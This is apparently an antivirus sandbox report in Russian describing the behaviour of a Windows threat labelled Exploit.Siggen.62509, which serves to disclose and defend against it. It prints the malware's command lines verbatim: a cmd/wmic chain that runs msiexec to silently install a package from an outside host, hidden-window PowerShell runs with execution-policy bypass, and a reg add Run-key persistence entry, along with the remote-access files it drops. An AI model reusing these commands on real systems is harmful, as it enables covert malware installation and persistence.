Exploit.Siggen.62509

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ServiceDLL' = '%APPDATA%\kpceUvDQ\presentationhost.exe'

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\cmd.exe' /c echo|set /p="wmic process call create 'ms">%temp%\tVIYUdabHqofm.bat&echo|set /p="iexec /i http://www.di####shoops.com/DISQUS.php /q'" >> %temp%\tVIYUdabHqofm.bat&%temp%\tVIYUdabHqofm.bat>%te...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\tviyudabhqofm.bat
%APPDATA%\kpceuvdq\pcicl32.dll
%APPDATA%\kpceuvdq\pcichek.dll
%APPDATA%\kpceuvdq\pcicapi.dll
%APPDATA%\kpceuvdq\nsm.lic
%APPDATA%\kpceuvdq\nsm.ini
%APPDATA%\kpceuvdq\nskbfltr.inf
%APPDATA%\kpceuvdq\msvcr100.dll
%APPDATA%\kpceuvdq\htctl32.dll
%APPDATA%\kpceuvdq\remcmdstub.exe
%APPDATA%\kpceuvdq\client32.ini
%HOMEPATH%\downloads\iqohqfczfd.vbs
%TEMP%\nsn7254.tmp\system.dll
%TEMP%\iqohqfczfdiqohqfczfdiqohqfczfdiqohqfczfdgkdfjoidfgdf.ps1
%TEMP%\nsn7254.tmp\blowfish.dll
%TEMP%\mw-effcc268-bca2-4240-ac4f-3810418a428f\files\$dpx$.tmp\0869b25b14a9b14cbf58d49d51f1e073.tmp
%TEMP%\mw-effcc268-bca2-4240-ac4f-3810418a428f\files.cab
%TEMP%\mw-effcc268-bca2-4240-ac4f-3810418a428f\msiwrapper.ini
%TEMP%\tviyudabhqofm.txt
%APPDATA%\kpceuvdq\presentationhost.exe
%APPDATA%\kpceuvdq\tcctl32.dll

Удаляет следующие файлы

Перемещает следующие файлы

%TEMP%\mw-effcc268-bca2-4240-ac4f-3810418a428f\files\$dpx$.tmp\0869b25b14a9b14cbf58d49d51f1e073.tmp в %TEMP%\mw-effcc268-bca2-4240-ac4f-3810418a428f\files\signed_corprat.exe

Сетевая активность

Подключается к

TCP

Запросы HTTP GET

UDP

Другое

Ищет следующие окна

Создает и запускает на исполнение

'%TEMP%\mw-effcc268-bca2-4240-ac4f-3810418a428f\files\signed_corprat.exe'
'%WINDIR%\syswow64\wscript.exe' %HOMEPATH%\downloads\IQOHQFCZFD.vbs
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\IQOHQFCZFDIQOHQFCZFDIQOHQFCZFDIQOHQFCZFDgkdfjoidfgdf.ps1
'%APPDATA%\kpceuvdq\presentationhost.exe'
'<SYSTEM32>\cmd.exe' /c echo|set /p="wmic process call create 'ms">%temp%\tVIYUdabHqofm.bat&echo|set /p="iexec /i http://www.di####shoops.com/DISQUS.php /q'" >> %temp%\tVIYUdabHqofm.bat&%temp%\tVIYUdabHqofm.bat>%te...' (со скрытым окном)
'%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /k echo CreateObject("Wscript.Shell").Run "cmd /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\IQOHQFCZFDIQOHQFCZFDIQOHQFCZFDIQOHQFCZFDgkdfjoidfgdf.ps1", 0, False > %userprofile%\downloads\IQO...' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\IQOHQFCZFDIQOHQFCZFDIQOHQFCZFDIQOHQFCZFDgkdfjoidfgdf.ps1' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /S /D /c" echo"
'<SYSTEM32>\cmd.exe' /S /D /c" set /p="wmic process call create 'ms" 1>%TEMP%\tVIYUdabHqofm.bat"
'<SYSTEM32>\cmd.exe' /S /D /c" set /p="iexec /i http://www.di####shoops.com/DISQUS.php /q'" 1>>%TEMP%\tVIYUdabHqofm.bat"
'<SYSTEM32>\wbem\wmic.exe' process call create 'msiexec /i http://www.di####shoops.com/DISQUS.php /q'
'<SYSTEM32>\msiexec.exe' /i http://www.di####shoops.com/DISQUS.php /q
'%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files
'<SYSTEM32>\cmd.exe' /k echo CreateObject("Wscript.Shell").Run "cmd /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\IQOHQFCZFDIQOHQFCZFDIQOHQFCZFDIQOHQFCZFDgkdfjoidfgdf.ps1", 0, False > %userprofile%\downloads\IQO...
'%WINDIR%\syswow64\cmd.exe' /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\IQOHQFCZFDIQOHQFCZFDIQOHQFCZFDIQOHQFCZFDgkdfjoidfgdf.ps1
'%WINDIR%\syswow64\cmd.exe' /c cmd /c powershell -ep bypass -f %TEMP%\IQOHQFCZFDIQOHQFCZFDIQOHQFCZFDIQOHQFCZFDgkdfjoidfgdf.ps1
'%WINDIR%\syswow64\cmd.exe' /c powershell -ep bypass -f %TEMP%\IQOHQFCZFDIQOHQFCZFDIQOHQFCZFDIQOHQFCZFDgkdfjoidfgdf.ps1
'%WINDIR%\syswow64\cmd.exe' /c rd /s /q "%TEMP%\MW-effcc268-bca2-4240-ac4f-3810418a428f\files"
'%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ServiceDLL /t REG_SZ /d %APPDATA%\kpceUvDQ\presentationhost.exe /f